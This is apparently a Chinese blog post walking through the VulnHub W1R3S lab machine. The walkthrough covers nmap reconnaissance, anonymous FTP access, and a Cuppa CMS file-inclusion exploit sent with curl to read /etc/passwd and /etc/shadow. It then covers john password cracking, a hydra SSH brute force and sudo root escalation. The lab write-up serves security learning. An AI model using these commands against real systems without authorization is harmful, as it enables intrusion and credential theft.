Vulnhub靶场——w1r3s.v1.0.1

wave888   ·   发表于 2023-08-06 16:02:24   ·   学习杂记

信息收集

扫描C段

nmap -sn 192.168.142.0/24
扫描C段
本机: 192.168.142.133
靶机: 192.168.142.128

-sn: 表示主机发现之后不进行端口扫描(n: no port scan)
该命令可以很容易地用于看有多少个网络上可用的主机或监视服务器的可用性, 允许对目标网络进行轻量级的侦查, 而不会引起太多注意, 相比对广播地址进行ping请求更可靠, 对于ping扫描, 但很多主机不响应广播查询.

如何进行扫描?

发生四项数据(特权模式下扫描):
Ⅰ. ICMP回显请求
Ⅱ. 对端口443的TCP/SYN请求
Ⅲ. 对端口80的TCP/ACK请求
Ⅳ. 默认情况下的ICMP时间戳请求

如果不是特权模式, 只会使用connect调用, 发生SYN数据包到目标主机的80和443端口

特权模式下扫描本地网络
只发送ARP请求, ARP是数据链路层的协议, ICMP和TCP属于网络层和传输层, 该情况下与arp-scan -l(该命令不显示本机)相似

也可以增加参数--send-ip发送ICMP时间戳请求以确定主机的活动性, 因为在网络中ARP请求可能不会被所有主机响应,而ICMP时间戳请求更可靠的用于主机发现

端口扫描

建立文件夹: mkdir nmapscan
扫描端口: nmap -sT --min-rate 10000 -p- 192.168.142.128 -oA nmapscan/ports
端口扫描
-sT: 指定扫描技术,明确指定以TCP协议进行扫描, 是用三次握手过程来判断端口的状态, 绕过对某些目标主机上使用了SYN过滤机制或防火墙更有效, 如果不写默认-sS
-sS: 利用TCP的SYN标志位来探测目标主机上的开放端口, 只发送一个SYN包, 只建立TCP连接的第一步(收到SYN/ACK表示端口开放, 收到RST表示复位这个数据包, 端口关闭), 容易被防火墙检测到不完整的TCP连接(比-sT快)
—min-rate: 指定以最低1万的速率
-p-: 指定所有端口, 1-65535
-oA: 将结果以三种格式进行保存. gnmap(基本凉了), .nmap, .xml输出某文件中
gnmap和nmap格式

xml格式
查看结果: ls -liah nmapscan
-a: 显示所有文件及目录(. 开头的隐藏文件也会列出)
-l: 以长格式显示文件和目录信息, 包括权限、所有者、大小、创建时间等
-i: 显示文件和目录的 inode 数量
-lh: 以人类可读的格式显示文件大小

如果有多个端口, 为了方便, 需要把端口单独提出来
给ports变量赋值: ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
在文件ports.nmap中搜索有端口号的那些数据行, 并用awk指定-F的参数, 用斜杠做分隔符打印出第一列, 使用paste, 参数-s合并到一行, -d指定分隔符, 最后覆值给ports变量
输出变量: ports: echo $ports
赋值

nmap详细信息扫描

nmap -sT -sV -sC -O -p$ports 192.168.142.128 -oA nmapscan/detail
-sV: 探测各服务的版本
-sC: 用默认的脚本进行扫描
-O: 探测操作系统的版本
端口

udp扫描

nmap -sU --top-ports 20 192.168.142.128 -oA nmapscan/udp
-sU: 指定以UDP协议进行扫描
因为表现的攻击面是不同的, 也为了扫描结果更便于去查看, 建议分开来执行扫描
—top-ports 20: 对常用的20个UDP的端口进行扫描
udp扫描
可以看到扫描出来的端口可能是开放或者被过滤

默认脚本扫描

nmap --script=vuln -p21, 80, 22, 3306 192.168.142.128 -oA nmapscan/vuln
—script=vuln: 漏洞脚本目录
脚本扫描

分析重点

nmap详细信息扫描的结果是分析的重点?确定攻击面和渗透的优先级
细节
确定优先级: 21(信息泄露) 3306(弱密码) 80(重点) 22(暴力破解)
如果以上端口没有收获, 再回来查看IPV6的状态
nmap扫描(四大扫描: 端口扫描、详细信息扫描、udp扫描、nmap漏洞脚本扫描、必要情况下加上IPV6), 到此信息收集阶段结束

渗透阶段

21端口

登录目标ftp: ftp 192.168.142.128
使用默认账户密码: anonymous/(空)
成功登录
21
binary: 切换到二进制模式
prompt: 关闭交互式的提示模式
mget: 下载多个文件
下载完所有文件即可退出ftp

分析文件

cat *.txt: 读所有的txt文件
分析
工具hash-identifier 可以识别加密算法 或者使用google搜索引擎
工具john破解加密算法 或 在线网站
解密md5(这里john没解出来, 所以使用在线网站https://hashes.com/en/decrypt/hash)
md5
得到信息: This is not a password(这个不是密码)
验证: echo -n 'This is not a password' | md5sum

解密base64
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
解码base64
base64
得到信息: It is easy, but not that easy..(这很容易,但不是那么容易)
职工信息
Manager: 可能具有业务的高权限 或 所有员工的数据
IT Dept: 可能系统权限相关信息
Web Design: 可能不重要
Inventory(库管): 员工的基本信息、活动信息等
Human Resources: 可能有全部人员的详细信息
翻转字符
工具: https://www.upsidedowntext.com/


信息1: I don’t think this is the way to root!(我不认为这是通往root的道路)
信息2: we have a lot of work to do stop playing around….(我们有很多工作要做,不要再玩了)

3306端口

试图登录: mysql -h 192.168.142.128 -u root -p

登录失败

80端口

访问一下

目录爆破: gobuster dir -u http://192.168.142.128 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
-u: 指定网址
—wordlist: 指定字典

获得3个链接
依次点开



在最后一个链接中发现一个安装界面
注意: 在实战中, 需要考虑该操作会不会改变目标上的东西,是否会导致服务器终止服务或者被管理员发现
点next, 进入配置界面

察觉到databas拼写错误, 可以通过该错误使用搜索引擎了解该cms, 知道下一步的跳转界面

我们的操作虽然执行了, 但管理员用户没有被创建
寻找cms漏洞
搜索cuppa cms历史漏洞: searchsploit cuppa cms

下载cms利用方式到本目录: searchsploit cuppa -m 25971, 并查看

该网站存在远程包含文件
使用路径http://192.168.142.128/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd 进行尝试

路径错误, 没有访问到, 但想起刚才访问过http://192.168.142.128/administrator 含有安装界面, 将cuppa替换为administrator, 新网址为: http://192.168.142.128/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

网站出现内容, 有响应, 但没有内容, 查看代码



发现是传参方式错误, 应该以post方式提交参数
改变传参方式: curl --data-urlencode "urlConfig=../../../../../../../../../etc/passwd" http://192.168.142.128/administrator/alerts/alertConfigField.php
将变量通过URL编码给到处理程序, 得到passwd的内容
passwd
每一条用户数据的第二段都是x, 证明密码是以哈希的方式存在了shadow文件中
读取shadow文件: curl --data-urlencode "urlConfig=../../../../../../../../../etc/shadow" http://192.168.142.128/administrator/alerts/alertConfigField.php
shadow
保存含有hash的信息到shadow.hash

使用john破解shadow.hash, 得到w1r3s和www-data的密码

获得系统立足点和提权
尝试登录w1r3s
ssh w1r3s<span class="label label-primary">@192.168.142.128,</span> 密码: computer, 登录成功

查看id: id
该用户有sudo(27)权限, 尝试提权
当前用户有哪些系统级权限: sudo -l, 得到3个all, w1r3s == root
因为有全部的权限, 所以使用sudo的权限来执行一个新的办事会话
sudo /bin/bash 启动新的办事会话
提权成功

22端口

除此之外, 也可以通过22端口进行暴力破解
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.142.128 -t 4
-L: 指定用户名字典(注意大小写)
-P: 指定密码字典
-t: 指定线程

获得密码后, 提权方式同上

总结

  1. nmap扫描获得了系统的四个端口(21, 22, 80, 3306)
    (不要忽略udp, ipv6)
  2. 对端口进行优先级排定
  3. 先看ftp, 获得若干的文件, 逐一查看破解
  4. 权重最高是80端口, 进行目录爆破?得到cpcms
  5. 通过公开漏洞利用搜索, 找到利用方式, 得到shadow文件, 用john破解, 获得了用户密码, 获得系统立足点
  6. 提权阶段, 使用sudo -l去查看发现有sudo权限, 启动新的办事会话, 获得了系统的root shell

vulnhub靶机: https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

打赏我,让我更有动力~

0 条回复   |  直到 2023-9-23 | 633 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.